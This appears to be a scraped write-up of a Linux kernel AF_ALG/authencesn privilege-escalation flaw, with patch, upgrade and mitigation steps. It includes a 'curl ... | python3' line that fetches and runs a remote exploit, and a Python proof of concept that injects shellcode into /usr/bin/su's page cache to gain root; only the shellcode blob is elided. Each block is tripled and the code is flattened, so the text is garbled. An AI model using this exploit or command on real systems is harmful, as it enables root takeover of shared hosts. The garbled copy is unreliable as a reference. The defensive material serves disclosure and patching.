int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space
int sock = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, (struct sockaddr *)&addr, sizeof(addr));
// ... perform AES, HMAC, AEAD operations in kernel space
// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^
// This is AFTER the output buffer ends
// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^
// This is AFTER the output buffer ends
// In crypto_authenc_esn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^
// This is AFTER the output buffer ends
// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist
req->src = req->dst; // source = destination (in-place!)
// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist
req->src = req->dst; // source = destination (in-place!)
// Simplified from algif_aead.c (pre-fix):
sg_chain(&out_sg, tfr_sg); // chain tag pages INTO output scatterlist
req->src = req->dst; // source = destination (in-place!)
splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache
splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache
splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache
curl https://copy.fail/exp | python3
curl https://copy.fail/exp | python3
curl https://copy.fail/exp | python3
import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary
target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob
)) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root
os.system("su")
import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary
target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob
)) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root
os.system("su")
import os, zlib, socket def write_4_bytes(file_fd, offset, payload_chunk): # Step 1: Open AF_ALG socket bound to the vulnerable algorithm sock = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) # Step 2: Configure with a dummy key — no privileges needed SOL_ALG = 279 sock.setsockopt(SOL_ALG, 1, bytes.fromhex('0800010000000010' + '0'*64)) sock.setsockopt(SOL_ALG, 5, None, 4) req_sock, _ = sock.accept() # Step 3: Send AAD containing our 4-byte payload # authencesn will later write bytes 4-7 of AAD as its "scratch" req_sock.sendmsg( [b"A"*4 + payload_chunk], # AAD: 4 filler bytes + our payload [(SOL_ALG, 3, b'\x00'*4), (SOL_ALG, 2, b'\x10' + b'\x00'*19), (SOL_ALG, 4, b'\x08' + b'\x00'*3)], 32768 ) # Step 4: Splice target file's page cache into the socket pipe_r, pipe_w = os.pipe() os.splice(file_fd, pipe_w, offset + 4, offset_src=0) # file → pipe os.splice(pipe_r, req_sock.fileno(), offset + 4) # pipe → AF_ALG # Step 5: Trigger the decrypt — error is expected, write already happened try: req_sock.recv(8 + offset) except: pass # HMAC will fail, that's fine — the write already occurred req_sock.close() # Open the target setuid binary
target = os.open("/usr/bin/su", 0) # Decompress shellcode and write it 4 bytes at a time into the page cache
shellcode = zlib.decompress(bytes.fromhex( "78da..." # compressed shellcode blob
)) for i in range(0, len(shellcode), 4): write_4_bytes(target, i, shellcode[i:i+4]) # Execute the now-corrupted binary — it runs our shellcode as root
os.system("su")
/usr/bin/su on disk: [original, unmodified]
/usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses
/usr/bin/su on disk: [original, unmodified]
/usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses
/usr/bin/su on disk: [original, unmodified]
/usr/bin/su in memory: [shellcode injected here] ← this is what execve() uses
--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
- sg_chain(&out_sg, tfr_sg); // chain tag pages into output list
- req->src = req->dst; // source = destination (in-place)
+ // Operate out-of-place — page cache pages stay in the source list only
--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
- sg_chain(&out_sg, tfr_sg); // chain tag pages into output list
- req->src = req->dst; // source = destination (in-place)
+ // Operate out-of-place — page cache pages stay in the source list only
--- a/crypto/algif_aead.c
+++ b/crypto/algif_aead.c
- sg_chain(&out_sg, tfr_sg); // chain tag pages into output list
- req->src = req->dst; // source = destination (in-place)
+ // Operate out-of-place — page cache pages stay in the source list only
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot # RHEL / CentOS
sudo dnf update kernel
sudo reboot # Check your kernel version after reboot
uname -r
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot # RHEL / CentOS
sudo dnf update kernel
sudo reboot # Check your kernel version after reboot
uname -r
# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot # RHEL / CentOS
sudo dnf update kernel
sudo reboot # Check your kernel version after reboot
uname -r
# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true
# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true
# Block the module from loading
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf # Unload it if currently loaded
sudo rmmod algif_aead 2>/dev/null || true
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }]
}
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }]
}
{ "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ALLOW", "args": [{ "index": 0, "value": 38, "op": "SCMP_CMP_NE" }] }]
} - Open a crypto socket (zero privileges required)
- Splice pages from /usr/bin/su into it
- Trigger a 4-byte write into the in-memory page cache of that binary
- Run su — now running attacker shellcode — and get a root shell
The file on disk is never touched. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x. - socket() — everyone uses sockets
- sendmsg() — normal socket operation
- splice() — common in high-performance I/O
- recv() — returns an error, but errors happen
There are no unusual privilege escalation calls, no /proc/*/mem writes, no ptrace, no /dev/mem access. Standard audit logs won't surface anything suspicious. - Ubuntu 18.04 LTS through 24.04
- Red Hat Enterprise Linux 7, 8, 9
- Debian Buster, Bullseye, Bookworm
- SUSE Linux Enterprise 15
- Amazon Linux 2 and 2023
- Fedora 38, 39, 40
- Pretty much everything else
The one saving grace: the attacker needs local access first. This isn't remotely exploitable on its own. However, in environments with multi-tenant systems, shared CI/CD runners, or Kubernetes clusters, "local" is a low bar.